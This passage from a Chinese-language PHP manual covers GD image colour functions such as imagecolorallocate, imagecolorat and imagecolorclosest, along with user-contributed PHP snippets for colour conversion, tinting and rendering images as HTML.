ImagePNG($im);

?>
bob at hotmail dot com
11-Mar-2005 07:24
The first color allocated will not fill the background if you use a true color image from imagecreatetruecolor().
19-Jan-2005 06:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com
22-Dec-2004 06:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
carlosreche at yahoo dot com
14-Dec-2004 12:27
Here is an easier way to set the color without use imagecolorallocate();

<?php

$image = imagecreatetruecolor();

imagefill($image, 0, 0, 0xFFFFFF); // white color (#FFFFFF)

?>

Use hexadecimal values just like you do in HTML codes:

0xFF0000 = red
0x00FF00 = green
0x0000FF = blue
0xFFFF00 = yellow

... and so on

Hope this will help many people...

Carlos Reche
tyberis
28-Nov-2004 08:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
 }
}
?>
avi at amarcus dot com
20-Aug-2004 02:21
quote from "tim at phantomrpg dot com"

Here is a simpler way of using a hex color with ImageColorAllocate().
sscanf("FFFF00", "%2x%2x%2x", $red, $green, $blue);
$stringColor=ImageColorAllocate($image,$red,$green,$blue);

I made it into a simple function:
<?php
function fromhex($string){
   GLOBAL $image;
   sscanf($string, "%2x%2x%2x", $red, $green, $blue);
   return ImageColorAllocate($image,$red,$green,$blue);
   }
//Example for calling a hex color:
ImageFill($image, 0, 0, fromhex('FFFFFF'));
?>
smoli at paranoya dot ch
20-Jul-2004 02:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
   $ret = new stdClass();

   if($s == 0)
   {
     $ret->r = $v;
     $ret->g = $v;
     $ret->b = $v;

     return $ret;
   }
   else
   {
     $h = floatval($h) / 255.0;
     $s = floatval($s) / 255.0;
     $v = floatval($v) / 255.0;

     $hue = $h;

     if($hue == 1.0)
       $hue = 0.0;

     $hue *= 6.0;

     $i = intval($hue);
     $f = $hue - floatval($i);
     $w = $v * (1.0 - $s);
     $q = $v * (1.0 - ($s * $f));
     $t = $v * (1.0 - ($s * (1.0 - $f)));

     switch($i)
     {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
     }
   }

   $ret->r = intval($ret->r * 255.0);
   $ret->g = intval($ret->g * 255.0);
   $ret->b = intval($ret->b * 255.0);

   return $ret;
  }
?>
tim at phantomrpg dot com
04-Apr-2004 06:38
Here is a simpler way of using a hex color with ImageColorAllocate().

sscanf("FFFF00", "%2x%2x%2x", $red, $green, $blue);
$stringColor=ImageColorAllocate($image,$red,$green,$blue);

Hope it helps someone.
jernberg at fairytale dot se
06-Mar-2004 02:43
this might help someone, how to allocate an color from an html color-definition:

$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
   $red = hexdec( $ret[1] );
   $green = hexdec( $ret[2] );
   $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
chris at drunkenpirates dot co dot uk
14-Sep-2003 08:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
               ImageColorAllocate($imA, $c, $c, $c);
               }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
               $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
               $col_arr[$c]=$s;
               }
for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgA[$x][$y]=$col_arr[$x];
               }
       }
for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgB[$x][$y]=$col_arr[$y];
               }
       }

//SET PIXELS

for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
               $s=$imgC[$x][$y]/2;
               Imagesetpixel($imA,$x,$y,$s);
               }
       }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
BruceB
20-May-2003 12:39
Doiveo's suggestion for getting the font colors to behave with JPEG's does (at least for PHP 4.1.2 - GD version 1) stop the problem (that I had) with fonts becoming outlined instead of solid, however the font colors were still incorrect.

There is however a much simpler (and faster) solution, just use imageColorClosest instead of imageColorAllocate, e.g:

$near_white = imageColorClosest($img, 255,255,255);
imageTTFtext($img, 10, 0, 20, 20, $near_white, "font file path", "text to add to JPEG");

For most JPEG's there should be a fairly close matching color to the one you want to use.
leif at harmsen dot net
16-Apr-2003 10:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
jasper at pointless dot net
21-Jan-2003 09:20
a patch to php 4.3.0 to add imagecolorallocatealpha is here:

http://pointless.net/~jasper/php-4.3.0-imagecolorallocatealpha.patch

cd php-4.3.0/ext/gd
patch < path/to/patch

and recompile and reinstall.
bisqwit at iki dot fi
17-Feb-2002 12:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.
bisqwit at iki dot fi
17-Feb-2002 05:20
Looks like this function only allows allocating of 256 distinct colours.

So this code:
  <?php
  $im = ImageCreate(500,200);
  for($a=0; $a<500; $a++)
  {
   $c = 128 + sin($a) * 127;
   ImageLine($im, $a,0, $a,199, ImageColorAllocate($im, $c,$c,$c));
  }
  ob_start();
  ImageJpeg($im, '', 75);
  $s = ob_get_contents();
  ob_end_clean();

  header('Content-type: image/jpeg');
  header('Content-length: '.strlen($s));
  print $s;

will make an image that has changing colours at
the first 256 pixel columns only. The rest are gray.
doiveo at hotmail dot nospam
12-Jan-2002 02:17
This will help anyone trying to control font colors in a JPEG. You have to create a temporary image first, allocate the colors then merge the images before it works. Go figure.

$im_size = GetImageSize ( "MySource.jpg" );
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];

$im = imageCreate( $imageWidth, $imageHeight );

// - or with GD 2+ -
// $im = imageCreateTrueColor( $imageWidth, $imageHeight );

// do all your color allocations here
$font_color_black = ImageColorAllocate( $im, 0,0,0);

$im2 = ImageCreateFromJPEG("MySource.jpg");

ImageCopy ($im,$im2,0,0,0,0, $imageWidth, $imageHeight);
ImageDestroy ($im2);

...finish as you please using the $im var.
add a note add a note

后退 | 起点 | 前进
imagecharup | 上一级 | imagecolorallocatealpha


imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5)

imagecolorallocatealpha -- 为一幅图像分配颜色 + alpha

说明

int imagecolorallocatealpha ( resource image, int red, int green, int blue, int alpha )

imagecolorallocatealpha() 的行为和 imagecolorallocate() 相同，但多了一个额外的透明度参数 alpha，其值从 0 到 127。0 表示完全不透明，127 表示完全透明。

如果分配失败则返回 FALSE。

例子 1. 使用 imagecolorallocatealpha() 的例子

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// 用白色背景加黑色边框画个方框
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x    = 120;
$red_y    = 165;
$blue_x   = 187;
$blue_y   = 125;
$radius   = 150;

// 用 alpha 值分配一些颜色
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red    = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue   = imagecolorallocatealpha($image, 0, 0, 255, 75);

// 画三个交迭的圆
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// 不要忘记输出正确的 header！
header('Content-type: image/png');

// 最后输出结果
imagepng($image);
imagedestroy($image);
?>

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecolorallocate() 和 imagecolordeallocate()。

add a note add a note User Contributed Notes
eric (at) junioronline.us
25-Jan-2006 05:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

   $color = imagecolorat($im, 50, 50);
   $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)
fchristl at hotmail dot com
20-Sep-2003 03:55
Check out this Source, it's a little funny feature showing you, for what imagecolorallocatealpha() is used:

<?php
$im=imagecreatetruecolor(300,300);
$white=imagecolorallocate($im,255,255,255);
imagefilledrectangle($im,0,0,imagesx($im),imagesy($im),$white);
for($i=0;$i<256;$i=$i+10)
{
$col=imagecolorallocatealpha($im,$i,$i,$i,ceil(rand(0,127)));
imagefilledellipse($im,$i,$i,$i,$i,$col);
}
header("content-type: image/png");
imagepng($im);
?>
add a note add a note

后退 | 起点 | 前进
imagecolorallocate | 上一级 | imagecolorat


imagecolorat

(PHP 3, PHP 4, PHP 5)

imagecolorat -- 取得某像素的颜色索引值

说明

int imagecolorat ( resource image, int x, int y )

返回 image 所指定的图形中指定位置像素的颜色索引值。

如果 PHP 编译时加上了 GD 库 2.0 或更高的版本并且图像是真彩色图像，则本函数以整数返回该点的 RGB 值。用移位加掩码来取得红，绿，蓝各自成分的值：

例子 1. 取得各自的 RGB 值

<?php
$im = ImageCreateFromPng("rockym.png");
$rgb = ImageColorAt($im, 100, 100);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
?>

参见 imagecolorset() 和 imagecolorsforindex()。

add a note add a note User Contributed Notes
creamdog
20-Apr-2006 07:48
If you look in the gd library for C in gd.h you have the following defined for truecolor images.

#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)
#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)
#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)
#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)

So in php you could just do it as so:

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;
$red = ($rgba & 0xFF0000) >> 16;
$green = ($rgba & 0x00FF00) >> 8;
$blue = ($rgba & 0x0000FF);

And there you have what you would need if you have a truecolor image with an alpha channel.
robert at future-vision dot nl
16-Dec-2005 08:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
   function hexcolor($c) {
       $r = ($c >> 16) & 0xFF;
       $g = ($c >> 8) & 0xFF;
       $b = $c & 0xFF;
       return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
   }

   function png2div($filename) {

       $img = imagecreatefrompng($filename);
       $width = imagesx($img);
       $height = imagesy($img);
       $div_width = 1;
       $previous_color = 0;

       $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

       for($y = 0;$y < $height;++$y){

           for($x = 0;$x < $width;++$x){

               $current_color = ImageColorAt($img, $x, $y);

               if($current_color == $previous_color && $x < $width-1){
                   ++$div_width;
               }
               else{
                   $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                   $previous_color = $current_color;
                   $div_width = 1;
               }
           }
           ob_flush();
       }

       $output .= '</div>';

       return $output;

   }

?>
hazard AT krankteil DOTTILLYDO de
12-Nov-2005 04:23
I saw this png to table code.. and i had written one before =)

My code does nearly the same as the one posted.. but it will compress the table with the help of colspan :)

http://hazard.krankteil.de/stuff/pngtable/imgtest.php

Code:
http://hazard.krankteil.de/stuff/pngtable/imgtest.phps
http://hazard.krankteil.de/stuff/pngtable/image.phps

It's senseless? Well maybe but kinda cool :) Try 5 or 10 as second argument for pngtable() =)
T. Dekker
28-Oct-2005 03:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod
02-Sep-2005 04:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi
28-Aug-2005 11:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
     $im = imagecreatefrompng($path_image);
   $pixel = array();

   $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
   $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
   imagefill($n_im, 0, 0, $fond);

   for($y=0;$y<imagesy($n_im);$y++)
   {
       for($x=0;$x<imagesx($n_im);$x++)
       {
           $rgb = imagecolorat($im, $x, $y);
           $pixel = imagecolorsforindex($im, $rgb);

           $r = min(round($red*$pixel['red']/169),255);
           $g = min(round($green*$pixel['green']/169),255);
           $b = min(round($blue*$pixel['blue']/169),255);
           $a = $pixel['alpha'];
           //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

           $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

           imagealphablending($n_im, TRUE);
           imagesetpixel($n_im, $x, $y, $pixelcolor);
       }
   }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
bpgordon at gmail dot com
24-May-2005 05:55
(the previous post was mistyped; please delete)

The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "<table border=0 cellpadding=0 cellspacing=0><tr>";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x <= $xdim-1; $x++) {
for ($y = 1; $y <= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
print "<td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"></td>";
}
print "</tr><tr>";
}
print "</tr></table>";
?>
bpgordon at gmail dot com
23-May-2005 01:19
The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "&lt;table border=0 cellpadding=0 cellspacing=0&gt;&lt;tr&gt;";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x &lt;= $xdim-1; $x++) {
for ($y = 1; $y &lt;= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb &gt;&gt; 16) & 0xFF;
$g = ($rgb &gt;&gt; 8) & 0xFF;
$b = $rgb & 0xFF;
print "&lt;td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"&gt;&lt;/td&gt;";
}
print "&lt;/tr&gt;&lt;tr&gt;";
}
print "&lt;/tr&gt;&lt;/table&gt;";
?>
sys NO SPAM coder at gmail dot NOSPAM dot com
26-Apr-2005 06:40
Just for fun: another snippet for drawing images using html only X)

<html>
<head>
<style>
<!--
body {
font-family: courier new, courier;
font-size: 7pt;
background: #000000;
color: #000000;
}
-->
</style>
</head>
<body>
<font color="#000000">
<?php

$im = ImageCreateFromPng($_GET['img']);

$lastcolor=0;
for($y=0;$y<imagesy($im);$y++)
{
  for($x=0;$x<imagesx($im);$x++)
  {
   $pixel = ImageColorAt($im, $x, $y);
   if($lastcolor != $pixel)
   {
     printf('</font><font color="#%06x">', $pixel);
     $lastcolor = $pixel;
   }
   echo "*";
  }
  echo "<br />";
}

?>
</font>
</body>
</html>
19-Jan-2005 06:08
Optimal:
<?php
$rgb = imagecolorat($im, $x, $y);
$r = ($rgb >> 16);
$g = ($rgb >> 8) & 255;
$b = $rgb & 255;
?>
As you see, you can also use decimal values (faster).
jed at jed dot bz
20-Oct-2004 05:14
In my various play stages with photomosaics I ended up writing this function that works with GD 2. The conversion from RGB to HSL is straightforward and there are a number of papers on it on our beloved Internet; however, this function simply finds the lightness value for a pixel and works exactly the same as imagecolorat().

<?php

/* Computes the lightness of a pixel. Lightness is used in HSL notation, as well
 * as in various operations on images. This function returns a normalized value
 * for lightness between 0 and 1, inclusive (0.0 being black, 1.0 being white).
 *
 * double imagelightnessat(resource img, int x, int y)
 *        img        An open image resource to operate on (true color or palette)
 *        x, y        The coordinates of the pixel to work on
 *
 * by Jed Smith <?php $u = "jed"; $d = "bz"; printf("<%s@%s.%s>", $u, $u, $d) ?>
 */
function imagelightnessat($img, $x, $y)
{
   if(!is_resource($img))
   {
       trigger_error("imagelightnessat(): supplied argument is not a valid "
           . "Image resource", E_USER_WARNING);
       return 0.0;
   }
   $c = @imagecolorat($img, $x, $y);
   if($c === false) return false;
   if(imageistruecolor($img))
   {
       $red = ($c >> 16) & 0xFF;
       $green = ($c >> 8) & 0xFF;
       $blue = $c & 0xFF;
   }
   else
   {
       $i = imagecolorsforindex($img, $c);
       $red = $i['red'];
       $green = $i['green'];
       $blue = $i['blue'];
   }
   $m = min($red, $green, $blue);
   $n = max($red, $green, $blue);
   /* Because RGB isn't normalized in GD, we divide by 510 here.
     *  Lightness = (Max(RGB) + Min(RGB)) / 2
     * But that's assuming red, green, and blue are 0 through 1 inclusive.
     * Red, green, and blue are actually 0-255 (255 + 255 = 510).
     */
   $lightness = (double)(($m + $n) / 510.0);
   return($lightness);
}

?>
mumig at poczta dot onet dot pl
28-Feb-2004 12:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.
geat AT zoom DOT co DOT uk
10-Jun-2003 07:35
The HTML image renderer didn't work for me for some reason, but here's a version that does...

echo '<table border="0" cellspacing="0" cellpadding="0">';
$im = ImageCreateFromJPEG("IMAGE NAME");
$width = imagesx($im);
$height = imagesy($im);
for ($cy=0;$cy<$height;$cy++) {
  echo '<tr>';
  for ($cx=0;$cx<$width;$cx++) {
   $rgb = ImageColorAt($im, $cx, $cy);
   $col = imagecolorsforindex($im, $rgb);
   printf('<td width="2" height="2" bgcolor=#%02x%02x%02x></td>', $col["red"], $col["green"], $col["blue"]);
  }
echo '</tr>';
}
echo '</table>';
28-May-2003 11:54
Just for fun, here is a little snippet that "paints" a image in html only. Try it out with very small images, as this is a real browser-killer. mozilla > 120mb ram, ie > 100mb with a 300x200 image :-)

$file = "image.png";
$im = imagecreatefrompng($file);
$size_arr = getimagesize($file);

echo "<table width=".$size_arr[0]." height=".$size_arr[1]." cellpadding=0 cellspacing=0 border=0>";
for ($y=0; $y<$size_arr[1]; $y++) {
   echo "<tr>";
   for ($x=0; $x<$size_arr[0]; $x++) {
       $rgb = ImageColorAt($im, $x, $y);
       printf("<td width=1 bgcolor=%06x><img width=1></td>", $rgb);
   }
   echo "</tr>";
}
echo "</table>";
lachy at kennedia dot com
21-Jan-2003 10:25
It seems that if you don not have GD 2.0.1+ then the alpha value will not be available.
ceresATdivxmaniaDOTit
03-Jan-2003 07:46
To get RGB values of a pixel in a truecolor image:

<?
$image=imageCreateFromJPEG('image.jpg');
$x = 10;
$y = 15;
$colorindex = imagecolorat($image,$x,$y);
$colorrgb = imagecolorsforindex($image,$colorindex);

echo "RGB values of the pixel at position $x - $y are: $colorrgb['red'] $colorrgb['green'] $colorrgb['blue'] \n Apha value is: $colorrgb['alpha']";
?>
pete at spamisbad_holidian dot com
05-Jul-2002 03:36
If you have a truecolor image and absolutely need to get the actual color of a pixel, it seems like you could create a 16x16 indexed color image from a part of the True Color image containing the pixel(s) in question. Then you should be able to guarantee that the indexed sample has the indentical colors to the True Color image. you can then use this function to get the color index of a pixel in the sample.

Obviously, this would be an intensive way to get pixel colors, especially for a large image, but as far as I can tell, it's one of the very few ways to do it right now.
add a note add a note

后退 | 起点 | 前进
imagecolorallocatealpha | 上一级 | imagecolorclosest


imagecolorclosest

(PHP 3, PHP 4, PHP 5)

imagecolorclosest -- 取得与指定的颜色最接近的颜色的索引值

说明

int imagecolorclosest ( resource image, int red, int green, int blue )

返回图像调色板中与指定的 RGB 值最“接近”的颜色。

指定的颜色与调色板中的每个颜色的“距离”的计算方法是把 RGB 值当成三维空间中点的坐标。

如果从文件创建了图像，只有图像中使用了的颜色会被辨析。仅出现在调色板中的颜色不会被辨析。

参见 imagecolorexact()。

add a note add a note User Contributed Notes
MagicalTux at FF dot st
28-Jun-2005 09:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
       $c=imagecolorexact($im, $r, $g, $b);
       if ($c!=-1) return $c;
       $c=imagecolorallocate($im, $r, $g, $b);
       if ($c!=-1) return $c;
       return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com>
11-Oct-2003 11:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);
add a note add a note

后退 | 起点 | 前进
imagecolorat | 上一级 | imagecolorclosestalpha


imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorclosestalpha -- 取得与指定的颜色加透明度最接近的颜色

说明

int imagecolorclosestalpha ( resource image, int red, int green, int blue, int alpha )

返回图像调色板中与指定的 RGB 值以及 alpha 深度最“接近”的颜色。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecolorexactalpha()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecolorclosest | 上一级 | imagecolorclosesthwb


imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5)

imagecolorclosesthwb -- 取得与给定颜色最接近的色度的黑白色的索引

说明

int imagecolorclosesthwb ( resource image, int red, int green, int blue )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecolorclosestalpha | 上一级 | imagecolordeallocate


imagecolordeallocate

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

imagecolordeallocate -- 取消图像颜色的分配

说明

bool imagecolordeallocate ( resource image, int color )

imagecolordeallocate() 函数取消先前由
imagecolorallocate() 或
imagecolorallocatealpha() 分配的颜色。

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

参见 imagecolorallocate() 和 imagecolorallocatealpha()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecolorclosesthwb | 上一级 | imagecolorexact


imagecolorexact

(PHP 3, PHP 4, PHP 5)

imagecolorexact -- 取得指定颜色的索引值

说明

int imagecolorexact ( resource image, int red, int green, int blue )

返回图像调色板中指定颜色的索引值。

如果颜色不在图像的调色板中，返回 -1。

如果从文件创建了图像，只有图像中使用了的颜色会被辨析。仅出现在调色板中的颜色不会被辨析。

参见 imagecolorclosest()。

add a note add a note User Contributed Notes
jbr at ya-right dot com
19-Feb-2006 04:38
A few notes about this function...

